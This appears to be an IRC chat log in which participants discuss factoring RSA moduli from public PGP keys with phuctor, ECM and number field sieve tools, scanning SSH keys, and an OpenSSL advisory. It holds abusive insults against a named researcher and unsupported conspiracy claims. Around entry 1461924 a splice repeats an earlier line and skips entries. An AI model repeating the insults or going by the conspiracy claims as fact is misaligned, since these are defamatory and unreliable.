number field sieve implementation in anything ? 1461718;1462274800;mircea_popescu;http://www.math.ttu.edu/~cmonico/software/ggnfs/ << "numbers up to 140 digits" what the everloving fuck is this bullshit. 1461719;1462274806;mircea_popescu;you got computers and they work amirite ?! 1461720;1462275291;mircea_popescu;apparently http://cado-nfs.gforge.inria.fr/ is what bernstein uses. except "Required software tools [...] GNU make and CMake (2.6.3 or later) for building (CMake is installed on the fly if missing. This feature requires an Internet connection.)" and then Connecting to cmake.org|66.194.253.19|:443... connected. ERROR: certificate common name `*.kitware.com' doesn't match requested host name `cmake.org'. 1461721;1462275305;mircea_popescu;herpitty derp, the world works like it's on fucking fire. anyway, that exhausts my patience. 1461722;1462276521;mircea_popescu;$up ascii_deadfiber 1461723;1462276522;deedbot;ascii_deadfiber voiced for 30 minutes. 1461724;1462276603;ascii_deadfiber;http://btcbase.org/log/2016-05-03#1461700 << tempted to link this on front of phuctor 1461725;1462276603;a111;Logged on 2016-05-03 08:30 deedbot: [Trilema] PSA : Hanno Böck, still a deceitful shitbag. - http://trilema.com/2016/psa-hanno-bock-still-a-deceitful-shitbag/ 1461726;1462276618;mircea_popescu;eh, not the place for it. 1461727;1462276643;ascii_deadfiber;hm,ok 1461728;1462276654;mircea_popescu;dun worry bout it, he won't be able to outlive it no matter what else he does. from experience half a decade later or w/e he'll start whining about how it should be deleted. 1461729;1462276733;ascii_deadfiber;he's the 'replacement story' tho 1461730;1462276751;mircea_popescu;$key hcb 1461731;1462276754;deedbot;http://wotpaste.cascadianhacker.com/r/170a0fda-83af-423e-b78a-ef489f49492f/ 1461732;1462276873;ascii_deadfiber;http://btcbase.org/log/2016-05-03#1461684 << understand what happens when you gcd against the 8ball - these are fat composites 1461733;1462276873;a111;Logged on 2016-05-03 08:16 mircea_popescu: http://btcbase.org/log/2016-05-03#1461545 << nice, starting to get some serious numbers. 1461734;1462276914;ascii_deadfiber;just crapping out the oodles of small primes a typical int is divisible by 1461735;1462276915;mircea_popescu;aha. 1461736;1462276978;mircea_popescu;$rate hcb 1 Euloran 1461737;1462276978;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/b3051a67-9d32-48a5-af64-ab20af0c3a9f/ 1461738;1462276999;mircea_popescu;$v C7EC2E90D0FCDCE3BF39AC7C617BC576AAB197A30624EFE862987F72F45BD8A7 1461739;1462277000;deedbot;mircea_popescu rated hcb 1 << Euloran 1461740;1462277074;mircea_popescu;http://btcbase.org/log/2016-05-03#1461729 <<< and usg is "the replacement republic", at least in its own mind. what of it. 1461741;1462277074;a111;Logged on 2016-05-03 11:58 ascii_deadfiber: he's the 'replacement story' tho 1461742;1462277175;BingoBoingo; he's the 'replacement story' tho << No, hoaxtoshi and nao petrocheese stockpiles are 1461743;1462277189;ascii_deadfiber;in that the shitcocoon they spray around everything we do is quite opaque, even to thinking folk 1461744;1462277208;deedbot;[Qntra] USG Stockpile Of Petrocheese Hits New High - http://qntra.net/2016/05/usg-stockpile-of-petrocheese-hits-new-high/ 1461745;1462277221;ascii_deadfiber;witness that ~nobody walks in asking after trb, for instance. 1461746;1462277254;mircea_popescu;depends how willing the thinking folk be. 1461747;1462277303;ascii_deadfiber;shit can be drilled through, but how does one know where to drill.. 1461748;1462277305;mircea_popescu;BingoBoingo "hoard's" not "horde" 1461749;1462277353;BingoBoingo;I dunno, the cheese is roughly as equal as some "Americans", but fxing 1461750;1462277367;ascii_deadfiber;http://btcbase.org/log/2016-05-03#1461696 << sorta what my entire www was about. 1461751;1462277367;a111;Logged on 2016-05-03 08:30 mircea_popescu: http://btcbase.org/log/2016-05-03#1461614 << ianacs, but : fwis the way all these "modern" computing stacks work, is they are made by people with absolutely no system design training, competence or understanding. as a result, they end up hand-crafting the tail. the ready equivalent would be a "new, modern" game of chess, where as the game progresses more and more moves have to be verified against a rulebook ; and then against 1461752;1462277385;mircea_popescu;BingoBoingo http://qntra.net/2016/05/qntra-s-qntr-april-2016-report/ << this right ? 1461753;1462277442;BingoBoingo;The one at the top that isn't struck through is right, I the struck through I forgot to replace a value from last month. 1461754;1462277452;mircea_popescu;kk 1461755;1462277456;ascii_deadfiber;http://btcbase.org/log/2016-05-03#1461701 << by and large the alchemists, subtracting the outright fraudulent shitbags, had moar sense than these folks. 1461756;1462277456;a111;Logged on 2016-05-03 08:30 mircea_popescu: ". like it's fucking 1700 all over again or some shit, and they're refugees from the Alchemics & Perpetuum Mobile society. 1461757;1462277569;ascii_deadfiber;http://btcbase.org/log/2016-05-03#1461714 << recall, i said: js, kludges 1461758;1462277569;a111;Logged on 2016-05-03 10:28 mircea_popescu: in vaguely related lulz, http://www.javascripter.net/math/primes/millerrabinbug-bigint54.htm as well as "However, if you try to pass an odd number n greater than 2^53 the test will not work because the argument would actually turn out to be some other number approximately equal to the desired odd number: JavaScript/IEEE754 cannot exactly represent odd numbers that large!" 1461759;1462277611;ascii_deadfiber;if the only implementation of something were in js, it hasn't actually been implemented yet. 1461760;1462277636;ascii_deadfiber;because very special, own level of retardation 1461761;1462277637;mircea_popescu;no but it's fucking lulzy already. 1461762;1462277727;mircea_popescu;anyway, if anyone with a box with python > 3.2 on it is willing to give http://cado-nfs.gforge.inria.fr/ a whirl (specifically in regards to the modulus in http://btcbase.org/log/2016-05-03#1461712 ) plox lemme know whether it even worx. 1461763;1462277727;a111;Logged on 2016-05-03 10:19 mircea_popescu: http://phuctor.nosuchlabs.com/gpgkey/561245D928FF0843F5F346549A73B46C6836E3B2BE309DC7F6CCAFCF7F17795C << thinking about it, this is quite the example. 4096 key, correct e, divisible by 5, 11, 23, 447. 1461764;1462277778;ascii_deadfiber;typical rand int 1461765;1462277800;mircea_popescu;aha. 1461766;1462277806;ascii_deadfiber;iirc apocalyptic did one last year 1461767;1462277865;mircea_popescu;i recall him trying one 1461768;1462277969;ascii_deadfiber;i do suspect that the enemy knows some factoid re prime distribution that makes factoring randints easier 1461769;1462277974;mircea_popescu;ascii_deadfiber and while on this topic : it beggars belief that bignum-as-linked-list-of-any-size-up-to-avail-ram is not a fucking standard in gcc in 2016. 1461770;1462277984;mircea_popescu;seriously, i gotta say ANYTHING more than "bigint" to get this ? 1461771;1462277988;ascii_deadfiber;but even without it, still not impossible 1461772;1462278021;ascii_deadfiber;mircea_popescu: there is no easy answer to ~how to represent~ them 1461773;1462278033;ascii_deadfiber;it is very machine-dependent 1461774;1462278037;mircea_popescu;who the fuck things these shitboxes are even computers when i get n digits eval to 0, NaN and whatever other bullshit ?! 1461775;1462278047;mircea_popescu;ascii_deadfiber IT IS NOT MY FUCKING JOB TO ANSWER!!! 1461776;1462278055;mircea_popescu;why the FUCK is there a compiler AT ALL ?!?! 1461777;1462278086;ascii_deadfiber;if you want anything like fast arithmetic, you're stuck with fixints, and even float barf, aha 1461778;1462278094;mircea_popescu;mp lemma : any computing environment where bigints are not native is ipso facto parsed, not compiled. 1461779;1462278100;ascii_deadfiber;this is what c-machine buys you. 1461780;1462278129;mircea_popescu;ascii_deadfiber i don't get the speed argument. 1461781;1462278148;mircea_popescu;the compiler is more than happy to make a linked list of fixints and do the carryovers as required. 1461782;1462278159;mircea_popescu;fuck, you can implement infinitedigit math in STRINGS 1461783;1462278173;mircea_popescu;which is how longhand multiplication even fucking works, on the basis of strings-and-regexp pretty much. 1461784;1462278217;ascii_deadfiber;mircea_popescu: recall the toy cramershoup? 1461785;1462278229;ascii_deadfiber;it ran in geological time. 1461786;1462278239;ascii_deadfiber;because stringz. 1461787;1462278254;mircea_popescu;there is absolutely no reason, nor can there be any reason, c compiler can't take two strings, such as the decameron and the collected works of shakespeare, and multiply them together, as fucking numbers, and spit out the result. none. 1461788;1462278272;ascii_deadfiber;sad but tru: speed matters, in practice. 1461789;1462278273;mircea_popescu;and if it won't do this, the fact that it graciously doesn't require me to write my own asm jumps or whatnot is irrelevant already. 1461790;1462278276;mircea_popescu;i'd be better off with asm. 1461791;1462278320;mircea_popescu;this shit is not a compiler. it's a low effort parser with delusions and pretensions. 1461792;1462278344;ascii_deadfiber;i gotta go rot in hell for a bit, bbl. 1461793;1462278386;mircea_popescu;im gonna have an enchilada 1461794;1462278707;deedbot;[Trilema] Qntra (S.QNTR) April 2016 Statement - http://trilema.com/2016/qntra-sqntr-april-2016-statement/ 1461795;1462280086;mircea_popescu;http://trilema.com/wp-content/uploads/2016/05/slave-labour.jpg << teh epic results of slave labour. 1461796;1462280895;shinohai;^ looks pretty tasty 1461797;1462282562;mircea_popescu;$lord jurov 1461798;1462282565;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/0731e0d8-912f-4fda-95e6-a25bce9c4421/ 1461799;1462282583;mircea_popescu;!v 8DD5AEEC6512709A00BA6BD58A95158D7E9499903F24C5C129C6FD7AE049D7A6 1461800;1462282583;gribble;Error: "v" is not a valid command. 1461801;1462282587;mircea_popescu;$v 8DD5AEEC6512709A00BA6BD58A95158D7E9499903F24C5C129C6FD7AE049D7A6 1461802;1462282587;deedbot;deedbot rated jurov 1 1461803;1462283719;phf;http://btcbase.org/log/2016-05-03#1461705 << phuctor is on 250gb ~ram~ machine? why? 1461804;1462283719;a111;Logged on 2016-05-03 08:34 mircea_popescu: http://btcbase.org/log/2016-05-03#1461623 << me sobs at the alt reality where 8gb counts for really beefy. phuctor is on 1/4 tb, yo. unless it was 1/2 ? i forget. 1461805;1462283855;mircea_popescu;for space. 1461806;1462283867;mircea_popescu;you know what it does, right ? apparently ram helps. 1461807;1462283958;*;mircea_popescu pictures with impish delight phf's wtf'd face 1461808;1462284034;mircea_popescu;$up fromphuctor 1461809;1462284034;deedbot;fromphuctor voiced for 30 minutes. 1461810;1462284045;fromphuctor;hello 1461811;1462284048;mircea_popescu;hola. 1461812;1462284062;fromphuctor;yesterday i suggested to play with ssh-keyscan 1461813;1462284074;mircea_popescu;a ok 1461814;1462284098;fromphuctor;today i am wondering if you ever compared the keys to see if any clone is found 1461815;1462284118;mircea_popescu;you seriously should make a proper nick and register your pgp with deedbot. 1461816;1462284157;fromphuctor;in particular i have the SUSPECT that router from juniper and cisco might build random keys that are not random at all 1461817;1462284182;fromphuctor;that is why i suggested to test ssh keys 1461818;1462284193;mircea_popescu;and yes, that's what stuff like http://trilema.com/2015/more-factored-rsa-keys-and-assorted-other-considerations/ (bottom section) lead to, and is why "Public Exponent 281479271743489 is NOT PRIME ! Modulus has mirrored low-order 32 bits !" sort of thing is in the comments on phuctor. 1461819;1462284198;phf;well, perhaps he should load it into datomic 1461820;1462284251;mircea_popescu;fromphuctor i dunno if you've seen the logs, but the idea to add ssh keyscan was accepted upon discussion. 1461821;1462284256;mircea_popescu;phf u jelly ? :D 1461822;1462284273;fromphuctor;i didn't read the log 1461823;1462284281;fromphuctor;good to know :) 1461824;1462284292;mircea_popescu;http://btcbase.org/log/2016-05-02#1461435 1461825;1462284292;a111;Logged on 2016-05-02 19:14 mircea_popescu: asciilifeform but he has a point ; once we get conversion going running a ssh-keyscan werker is good idea. 1461826;1462284319;mircea_popescu;you're also very likely right re nat router keys. junk of the junk. 1461827;1462284325;mircea_popescu;$up fromphuctor_ 1461828;1462284325;deedbot;fromphuctor_ voiced for 30 minutes. 1461829;1462284326;mircea_popescu;$up fromphuctor__ 1461830;1462284326;deedbot;fromphuctor__ voiced for 30 minutes. 1461831;1462284333;fromphuctor;if you want visibility you should try openssl, openssh, libressl, openbsd ssh keys 1461832;1462284355;mircea_popescu;aha. 1461833;1462284363;fromphuctor;they build software to build keys... 1461834;1462284392;fromphuctor;at the moment , i tried, they are not very interested in your reserach 1461835;1462284417;mircea_popescu;everyone gotta eat, and the general majority of these people eats at usg.* 1461836;1462284420;fromphuctor;because they think their implementation is fine 1461837;1462284442;phf;mircea_popescu: just irked, there's a rare "human record" kind of data that ben_vulpes deals with that exceeds 8gb. why don't you taunt us with your hadron collider data dumps some more? 1461838;1462284443;mircea_popescu;so no, i very much expect they "wouldn't be interested". 1461839;1462284467;mircea_popescu;lawl. 1461840;1462284491;mircea_popescu;hey, this is what the internet does & is for my dear phf : taking a very reasonable statement way the fuck out of context. 1461841;1462284535;fromphuctor;another thing to test when you collect ssh keys is for duplicate 1461842;1462284582;mircea_popescu;fromphuctor you know, you could in principle write all this stuff yourself. if it's any good odds are it'll get accepted/used. if not, odds are you'll get a very scathing review from alf making you doubt your sexuality and other life choices. 1461843;1462284622;fromphuctor;ok ok 1461844;1462284631;fromphuctor;now i go 1461845;1462284701;shinohai;lulz 1461846;1462284711;mircea_popescu;also, did i mention lisp isn't used in production anywhere today ? wouldn't want to skip a day :D 1461847;1462284770;*;phf loses his shit 1461848;1462284846;mircea_popescu;[Trilema] The official definition of BEEFY systems. http://trilema.com/rickrolled 1461849;1462284967;mircea_popescu;$up fromphuctor 1461850;1462284967;deedbot;fromphuctor voiced for 30 minutes. 1461851;1462285018;phf;no wonder all the talk of "i'll pay out of pocket!!" 1461852;1462285043;mircea_popescu;yeah well, he's rich. 1461853;1462285165;mircea_popescu;(anyway no, it's by no means expensive for the specs, we got a nice one-offsie on account of other business etc) 1461854;1462285700;mircea_popescu;and in other almost-lulws, https://archive.is/7AtxF 1461855;1462285718;mircea_popescu;note that trilema blows the openssl attempt at legitimization way the fuck out of the water. 1461856;1462285734;Apocalyptic;12:18 <+mircea_popescu> Apocalyptic ^ i propose as best candidate for m-r testing. // I'm already working on a more approachable one, also I don't know what's with you and m-r but I don't think m-r is a good factorization algo, I was and am running p-1 , p+1 and ECM 1461857;1462285792;mircea_popescu;Apocalyptic heh point. 1461858;1462285839;Apocalyptic;"14:16 <+mircea_popescu> i recall him trying one" // and succeeded, see ascii's rating, afaik he included the log line where I posted all the factors 1461859;1462285847;mircea_popescu;cool deal. 1461860;1462285911;Apocalyptic;th modulus residue I'm working on has ~ 260 digits and it seems the remaining primes are pretty big, +35/40 digits from what I see 1461861;1462285933;mircea_popescu;(can anyone actually load that https://www.openssl.org/news/secadv/20160503.txt ? i don't see it from anywhere.) 1461862;1462285960;mircea_popescu;Apocalyptic you know, i vaguely recall there was a challenge for the "largest factor found in factorization" or somesuch ? 1461863;1462285972;mircea_popescu;dunno what the record is by now, but at some point it was like 60 digits 1461864;1462286011;diana_coman;mircea_popescu, I can load that 1461865;1462286019;mircea_popescu;weird o.O 1461866;1462286023;mircea_popescu;dpaste plox ? 1461867;1462286098;Apocalyptic;mircea_popescu: http://www.loria.fr/~zimmerma/records/factor.html is a good start 1461868;1462286116;Apocalyptic;not a challenge but it lists some records 1461869;1462286124;mircea_popescu;a nice. 1461870;1462286149;diana_coman;hm, trying to but waiting on wotpaste.cascadianhacker.com 1461871;1462286166;mircea_popescu;lol splitinternets. try dpaste ? 1461872;1462286217;diana_coman;yeah, works instantly, wonders of wonders: http://dpaste.com/28AXJ4V 1461873;1462286298;diana_coman;hopefully you can access *that* , lol 1461874;1462286317;mircea_popescu;aha ty. 1461875;1462286341;mircea_popescu;openssl for the lulz. 1461876;1462286535;mircea_popescu;Apocalyptic nice mechanism for checking factoring algo claims he came up with too. 1461877;1462286756;Apocalyptic;the one linked at the bottom ? 1461878;1462286763;mircea_popescu;on bottom of page, yeah. 1461879;1462286768;mircea_popescu;"let's pretend we're doing rsa" 1461880;1462286777;Apocalyptic;will read it then 1461881;1462286794;mircea_popescu;it was in your link ? 1461882;1462286819;Apocalyptic;yeah it was 1461883;1462286872;mircea_popescu;incidentally - perhaps a good idea would be a tmsr factorization program. something like seti@home, that people can just run on spare machines if they feel like. 1461884;1462286977;Apocalyptic;indeed nice checking algo, sorta switching the usual role of d and e 1461885;1462287000;mircea_popescu;as he says - perfectly fair. 1461886;1462287036;Apocalyptic;mircea_popescu: that would be a great idea indeed, in the meantime if anyone feels like helping me factor my modulus residue let me know 1461887;1462287048;mircea_popescu;yah but how would they help ? 1461888;1462287063;Apocalyptic;it doesn't have to be coordinated in any way since ECM runs are totally independant, just willing to dedicate some cores 1461889;1462287089;Apocalyptic;mircea_popescu: download ecm from inria, compile it, run ECM with the residue I supply 1461890;1462287094;mircea_popescu;incidentally, can you be induced to look into that cado thing ? it has some sort of multimachine-over-ssh thing 1461891;1462287123;mircea_popescu;ah lol. same thing ? 1461892;1462287249;Apocalyptic;i'm not really interested in cado or setting up such a thing 1461893;1462287329;mircea_popescu;Apocalyptic> mircea_popescu: download ecm from inria << url ? http://ecm.gforge.inria.fr/ ? 1461894;1462287361;Apocalyptic;yeah, that's the one I use 1461895;1462287373;Apocalyptic;a pitty they don't sign source archives though... 1461896;1462287384;mircea_popescu;ya srsly. 1461897;1462287457;Apocalyptic;anyway for anybody interested the composite residue i'm working on is http://dpaste.com/2QP9HV9 1461898;1462287637;Apocalyptic;if trying ECM don't bother picking B1 under 11e6 1461899;1462288633;ben_vulpes;diana_coman: timeout? works fine from here 1461900;1462288778;diana_coman;ben_vulpes, yes, it timed out in the end, no idea why 1461901;1462288794;phf;maybe needs a 250gb machine 1461902;1462288867;mircea_popescu;this is trollage. 1461903;1462288881;mircea_popescu;$up ascii_butugychag 1461904;1462288882;deedbot;ascii_butugychag voiced for 30 minutes. 1461905;1462288920;mircea_popescu;in other news, phf's computer so fat, its foo's out the bar! 1461906;1462288937;ascii_butugychag;at long last, https://www.reddit.com/r/programming/comments/4hcvvi/200_pgp_keys_and_counting_publicly_broken/d2qvzma 1461907;1462288950;ascii_butugychag;^ they F8K3D it all!!1111111 1461908;1462288960;mircea_popescu;lol riiight. 1461909;1462288981;mircea_popescu;but the cool part is : derp is essentially bringing a wot-argument-by-another-name. 1461910;1462288984;mircea_popescu;the republic wins. 1461911;1462289022;Apocalyptic;"If you look closely, all of the keys shown on the website are only self signed." // clearly he has looked closely 1461912;1462289047;mircea_popescu;i can tell by some pixels that he has. 1461913;1462289124;mircea_popescu;in other lulz : undefined reference to `__sync_add_and_fetch_8'. 1461914;1462289130;mircea_popescu;from the glory that is nonstatic linking. 1461915;1462289147;ascii_butugychag;where is this ? 1461916;1462289240;mircea_popescu;ascii_butugychag a coupla hours ago i made a cursory attempt to install a factorizer lib (linked in logs). i threw up minutes later because obviously it doens't work. put out a general call, slavegirl picked up the task, installed python 4.4. wrangled for a while with broken cmake settings (pro tip : cmake is known to not correctly identifgy your python, workable hack in this case is to disable the test and manually fix the f 1461917;1462289240;mircea_popescu;iles headers to correct lib reference). 1461918;1462289248;mircea_popescu;then barfed 2/3 through compile. because arcana. 1461919;1462289255;ascii_butugychag;https://twitter.com/Phase4_/status/727291526930272260 << RAAAAAANDOM C0rrupti0n1!!111 1461920;1462289260;mircea_popescu;so she showed me the thing and i broke out in hives. 1461921;1462289301;ascii_butugychag;https://twitter.com/susurrusus/status/727513560402767873 << didja know 1461922;1462289310;mircea_popescu;meanwhile admire the glory : 1461923;1462289312;mircea_popescu;;;google undefined reference to `__sync_add_and_fetch_8' 1461924;1462289313;gribble;56296 – Undefined reference to __sync_add_and_fetch_8 for ...: ; 34316 – undefined reference to `__sync_add_and_fetch_8' - Bugzilla: ; [SOLVED] Error while building rtorrent 0.9.4 from slackbuilds.org ...: i do suspect that the enemy knows some factoid re prime distribution that makes factoring randints easier 1461948;1462289740;ascii_butugychag;mircea_popescu sometimes forgets that i'm in a jail 1461949;1462289754;Apocalyptic;" // I would be curious as to why you suspect such a thing 1461950;1462289758;ascii_butugychag;i was hired, for instance, partly on the basis of my ancient shithub acct 1461951;1462289776;ascii_butugychag;Apocalyptic: because of the 'deniable' sabotage of replacing moduli with random ints 1461952;1462289781;mircea_popescu;ascii_butugychag in that case, let's put it in storage i guess. 1461953;1462289811;ascii_butugychag;which it 1461954;1462290288;mircea_popescu;$up dotblank 1461955;1462290288;deedbot;dotblank voiced for 30 minutes. 1461956;1462290360;ascii_butugychag;mircea_popescu: my point was that in nazi land i get ranked as simply a very lazy nazi who spends time on ???? rather than properly drilling with the other ss men 1461957;1462290368;ascii_butugychag;~same as a fella who watches 8h of tv a day, i imagine. 1461958;1462290454;ascii_butugychag;it is, perhaps, why i'm still alive - if 'accidented', then, e.g., trb, suddenly becomes more interesting to a buncha folk 1461959;1462290493;mircea_popescu;jesus phuctor's slow. 1461960;1462290523;ascii_butugychag;p0pul4r! 1461961;1462290527;mircea_popescu;word. 1461962;1462290555;ascii_butugychag;'iz zis nazi lande sooo goood ?? we would leeeeeve it, if we could!' -- 'donald duck in naziland' 1461963;1462290719;mircea_popescu;et tu, deedbote ?! 1461964;1462290761;mircea_popescu;$up fromphuctor 1461965;1462290761;deedbot;fromphuctor voiced for 30 minutes. 1461966;1462290774;mircea_popescu;$up ascii_butugychag 1461967;1462290775;deedbot;ascii_butugychag voiced for 30 minutes. 1461968;1462291747;mircea_popescu;$up meuh 1461969;1462291747;deedbot;meuh voiced for 30 minutes. 1461970;1462291808;ascii_butugychag;woah they're still coming 1461971;1462291839;mircea_popescu;no doubt looking for ways to kill you in your sleep 1461972;1462291899;ascii_butugychag;i suspect i've already been killed and now in a hell of sorts. 1461973;1462292046;ascii_butugychag;speaking of, i'm told that latest recycled shitoshi is now being paraded on american tv 1461974;1462292055;ascii_butugychag;seems like full-bore production 1461975;1462292076;ascii_butugychag;what the fuck is the actual point ? 1461976;1462292092;trinque;read an article yesterday about "hooray, $shitoshi can help resolve the 'block size debate'" etc 1461977;1462292095;ascii_butugychag;and the man has to be a lunatic, who would sign up for this? it is like signing up as court alchemist in 17th c 1461978;1462292102;ascii_butugychag;only one possible destination, the stake. 1461979;1462292110;ascii_butugychag;trinque: that might be it. 1461980;1462292167;ascii_butugychag;i find it strange that they wouldn't go for broke and break the idiot's dsa key for the occasion 1461981;1462292172;ascii_butugychag;and create 'provable' whatever. 1461982;1462292462;trinque;http://www.drcraigwright.net/jean-paul-sartre-signing-significance/ << "I have been silent, but I have not been absent. I have been engaged with an exceptional group and look forward to sharing our remarkable work when they are ready." 1461983;1462292469;trinque;ascii_butugychag: the guy's going to drop fucking NSAcoin 1461984;1462292499;ascii_butugychag;ahaha why not ! 1461985;1462292512;ascii_butugychag;mit, no doubt. 1461986;1462292538;ascii_butugychag;annointed by the light of the holy one !11111 1461987;1462292572;mircea_popescu;not june yet. 1461988;1462292579;mircea_popescu;but yes, enemy building all teh support it can. 1461989;1462292715;meuh;hi there 1461990;1462292746;mircea_popescu;so this is pretty epic shit : i made http://dpaste.com/3M78HFY for alfie's own peace of mind. except suddenly and inexplicably, stuff that worked before ( like http://archive.is/EluFr ) no longer works now! 1461991;1462292750;mircea_popescu;pages load forever and whatnot. 1461992;1462292758;meuh;I've upload all my keys (previous and current) in one go in http://phuctor.nosuchlabs.com/ 1461993;1462292766;mircea_popescu;good for you meuh . 1461994;1462292778;meuh;Now, they all appears as duplicated http://phuctor.nosuchlabs.com/dupes 1461995;1462292794;meuh;For example http://phuctor.nosuchlabs.com/gpgkey/67E9EA1CF1D38646A5B745EBCC7EEC4916C6A6DB2B76B09E635A08905F94E79B 1461996;1462292834;meuh;It doesn't feel right 1461997;1462292912;mircea_popescu;$up ascii_butugychag 1461998;1462292912;deedbot;ascii_butugychag voiced for 30 minutes. 1461999;1462292929;mircea_popescu;meuh it will report every time it sees that modulus. 1462000;1462292939;mircea_popescu;this is good for tracking. it's also normal in case you sign other people's keys. 1462001;1462292948;ascii_butugychag;this is correct behaviour. 1462002;1462292958;ascii_butugychag;http://pool.sks-keyservers.net:11371/pks/lookup?op=vindex&search=0xA3D4C5AB683984AF9F97ABBF8F042FE3B4C21938 << loads here. 1462003;1462292970;mircea_popescu;ascii_butugychag buit the archive.is is the point 1462004;1462292979;mircea_popescu;it fails to load sks-keyservers ANYMORE. 1462005;1462292981;ascii_butugychag;http://pool.sks-keyservers.net:11371/pks/lookup?op=vindex&search=0x06BD86BFBDE0B73441D018C1A0C7E90E4625ED45 << also loads 1462006;1462292984;ascii_butugychag;ah! 1462007;1462292991;ascii_butugychag;mircea_popescu: i suspect that i know why 1462008;1462292992;mircea_popescu;it did, minutes ago. but no longer. 1462009;1462292994;mircea_popescu;hm ? 1462010;1462292996;ascii_butugychag;sks has the idiot new ssl thing 1462011;1462293007;mircea_popescu;and it kicked in 3 minutes ago ? 1462012;1462293027;mircea_popescu;observe timestamp on link in paranthesis. 1462013;1462293037;mircea_popescu;15:35:28 utc 1462014;1462293095;ascii_butugychag;hm. 1462015;1462293116;ascii_butugychag;why are we using some rando's archiver again ? 1462016;1462293145;mircea_popescu;it's easily the best known archiver on the www. 1462017;1462293158;ascii_butugychag;but now see the down-side, aha ? 1462018;1462293249;meuh;mircea_popescu: think i got it, the site reports "Modulus Seen Elsewhere! Please make sure these are yours:" for signatures made on other keys, and I have to check I've made those signatures with one of my key 1462019;1462293268;mircea_popescu;somethinglikethat. 1462020;1462293280;mircea_popescu;ascii_butugychag it's some anon russian guy. if you think rando usg endowment is a better shot... 1462021;1462293285;ascii_butugychag;meuh, mircea_popescu : this happens IF AND ONLY IF the modulus recurrs in its entirety inside another key. 1462022;1462293289;mircea_popescu;$up fromphuctor__ 1462023;1462293289;deedbot;fromphuctor__ voiced for 30 minutes. 1462024;1462293296;ascii_butugychag;mircea_popescu: the fella who unplugged Dulap-1 every weekened was also rando ru guy. 1462025;1462293306;fromphuctor__;did you see this ? 1462026;1462293308;fromphuctor__;https://www.openssl.org/news/secadv/20160503.txt 1462027;1462293312;fromphuctor__;new new 1462028;1462293346;ascii_butugychag;ahahahaha hanno bock 1462029;1462293355;ascii_butugychag;they credibility-sprayed him. 1462030;1462293365;ascii_butugychag;unknown turd is now hero!11111111 1462031;1462293381;ascii_butugychag;'The first bug (mishandling of 1462032;1462293381;ascii_butugychag;negative zero integers) was reported to OpenSSL by Huzaifa Sidhpurwala 1462033;1462293381;ascii_butugychag;(Red Hat) and independently by Hanno Böck in April 2015.' 1462034;1462293407;ascii_butugychag;check it out, mircea_popescu . 1462035;1462293438;ascii_butugychag;fromphuctor__: know that gnupg never used openssl. 1462036;1462293450;ascii_butugychag;so it is only relevant here in the sense described above. 1462037;1462293470;fromphuctor__;ok bye 1462038;1462293555;meuh;ascii_butugychag, mircea_popescu: you make me feel rather uncomfortable, it puzzle me how common modulus can appears in those keys: 1462039;1462293614;mircea_popescu;ascii_butugychag yes yes it's in the logs. 1462040;1462293641;ascii_butugychag;which ? 1462041;1462293648;mircea_popescu;the herospraying. 1462042;1462293661;ascii_butugychag;he appeared in a bug bulletin before ? 1462043;1462293661;mircea_popescu;$up meuh 1462044;1462293662;deedbot;meuh voiced for 30 minutes. 1462045;1462293670;mircea_popescu;ascii_butugychag the particular link noob dropped IS ALREADY IN THE LOG. 1462046;1462293675;meuh;ascii_butugychag, mircea_popescu: you make me feel rather uncomfortable, it puzzle me how common modulus can appears in those keys: 1462047;1462293677;ascii_butugychag;ah hm. 1462048;1462293680;meuh; http://phuctor.nosuchlabs.com/gpgkey/67E9EA1CF1D38646A5B745EBCC7EEC4916C6A6DB2B76B09E635A08905F94E79B 1462049;1462293685;meuh;http://phuctor.nosuchlabs.com/gpgkey/061DE47D171F4C503348FAE2A2A58D8C22D6836EF8F7D4CC72ECDCA5D4B0AFB0 1462050;1462293694;meuh;http://phuctor.nosuchlabs.com/gpgkey/62D7F30D5FAD09422810482F07FE1F9EBDC1E4265FFA1193456DC552E030ED2F 1462051;1462293695;ascii_butugychag;meuh: do you understand why dupes are listed ? 1462052;1462293716;meuh;coz' they have the same modulus ? 1462053;1462293718;ascii_butugychag;say you, like a n00b might, sign the message 'yes, meet me at midnight on the crossroad' 1462054;1462293730;ascii_butugychag;then someone else takes your modulus, and welds own username string to it 1462055;1462293733;ascii_butugychag;and misrepresents. 1462056;1462293734;mircea_popescu;http://archive.is/P1vmq << back in biznis it seems ? weird. 1462057;1462293763;ascii_butugychag;mircea_popescu: thing is not all that consistent, iirc 1462058;1462293804;mircea_popescu;weird shit. anyway. 1462059;1462293826;ascii_butugychag;and gpg creates dupes when folks sign one another's keys, yes 1462060;1462293852;ascii_butugychag;there is no way to watch for mischief where modulus is lifted WHOLESALE, without also listing a boatload of this rubbish, unfortunately. 1462061;1462293950;mircea_popescu;http://trilema.com/wp-content/uploads/2016/05/alfie-teh-bee-dog.htm << so here we go, anyone desirious to keep alfie teh bee dog from his sad dissapearance fate, plox load the page an click on linx 1462062;1462293996;ascii_butugychag;'Error: Network error.' 1462063;1462294001;ascii_butugychag;(on archive attempt) 1462064;1462294012;mircea_popescu;ah so we're now having a THIRD sort of problem. 1462065;1462294018;mircea_popescu;pretty lulzy, imo. 1462066;1462294023;phf;same 1462067;1462294023;meuh;OK, I need to investigate more (going to open again that OpenPGP RFCs) and don't waste your time. I originally tought there was a bug in the interface that was incorrectly reporting my keys as dupes because I've made a single armored export of the public key and feeds this as a single blob to the submission page 1462068;1462294033;ascii_butugychag;meuh: not a bug. 1462069;1462294058;ascii_butugychag;mircea_popescu: i tried 4 of'em, none work 1462070;1462294064;ascii_butugychag;'network error'. 1462071;1462294073;meuh;ascii_butugychag: thanks 1462072;1462294083;mircea_popescu;so before it was "error handling request" ; then it was cycling indefinitely in "queue". now it's "network error". 1462073;1462294093;mircea_popescu;tbh i've never seen archive.is fail before. 1462074;1462294096;ascii_butugychag;mircea_popescu: and at any rate 'they planted'em in 2013! who you gonna believe, obamitler or some ru rando' 1462075;1462294119;mircea_popescu;ascii_butugychag seeing how sks itself reports them from 2002 to whatever, 2012, i dunno. lol. 1462076;1462294138;ascii_butugychag;sks will report what told to report. 1462077;1462294140;ascii_butugychag;soon enough. 1462078;1462294148;mircea_popescu;soon enough is, however, too late. 1462079;1462294168;mircea_popescu;because, much like in the case of the miners getting caugvht with pants down, there is THIS interval right here. 1462080;1462294180;mircea_popescu;and no matter what "science" derps might come up with, here it is and here it lives. 1462081;1462294216;ascii_butugychag;they disappeared the fucking kaiser. 1462082;1462294224;ascii_butugychag;this is small change. 1462083;1462294240;mircea_popescu;you 